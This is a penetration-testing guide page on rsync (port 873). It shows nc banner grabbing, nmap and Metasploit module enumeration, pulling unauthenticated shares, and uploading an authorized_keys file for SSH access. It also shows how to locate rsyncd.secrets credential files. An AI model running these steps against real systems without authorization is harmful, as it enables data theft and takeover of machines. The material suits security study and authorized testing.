# 873 - Pentesting Rsync ## **Basic Information** > **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping_%28computing%29)and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security. From [wikipedia](https://en.wikipedia.org/wiki/Rsync). **Default port:** 873 ```text PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` ## Enumeration ### Banner & Manual communication ```text nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 <--- You receive this banner with the version from the server @RSYNCD: 31.0 <--- Then you send the same info #list <--- Then you ask the sever to list raidroot <--- The server starts enumerating USBCopy NAS_Public _NAS_Recycle_TOSRAID <--- Enumeration finished @RSYNCD: EXIT <--- Sever closes the connection #Now lets try to enumerate "raidroot" nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 raidroot @RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password ``` ### **Enumerate shared folders** **An rsync module is essentially a directory share**. These modules **can optionally be protected by a password**. This options lists the available modules and, optionally, determines if the module requires a password to access**:** ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list #Example using IPv6 and a different port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` Notice that it could be configured a shared name to not be listed. So there could be something **hidden**. Notice that it may be some **shared names** being listed where you need some \(different\) **credentials** to access. So, not always all the listed names are going to be accessible and you will notice it if you receive an _**"Access Denied"**_ message when trying to access some of those. ### \*\*\*\*[**Brute force**](../brute-force.md#rsync) ### Manual Rsync Once you have the **list of modules** you have a few different options depending on the actions you want to take and whether or not authentication is required. **If authentication is not required** you can **list** a shared folder: ```bash rsync -av --list-only rsync://192.168.0.123/shared_name ``` And **copy** all **files** to your local machine via the following command: ```bash rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared ``` This **recursively transfers all files from the directory** `` on the machine ``into the `./rsync_shared` directory on the local machine. The files are transferred in "archive" mode, which ensures that symbolic links, devices, attributes, permissions, ownerships, etc. are preserved in the transfer. If you **have credentials** you can **list/download** a **shared name** using \(the password will be prompted\): ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared ``` You could also **upload** some **content** using rsync \(for example, in this case we can upload an _**authorized\_keys**_ file to obtain access to the box\): ```bash rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh ``` ## POST Find the rsyncd configuration file: ```bash find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) ``` Inside the config file sometimes you could find the parameter _secrets file = /path/to/file_ and this file could contains usernames and passwords allowed to authenticate to rsyncd.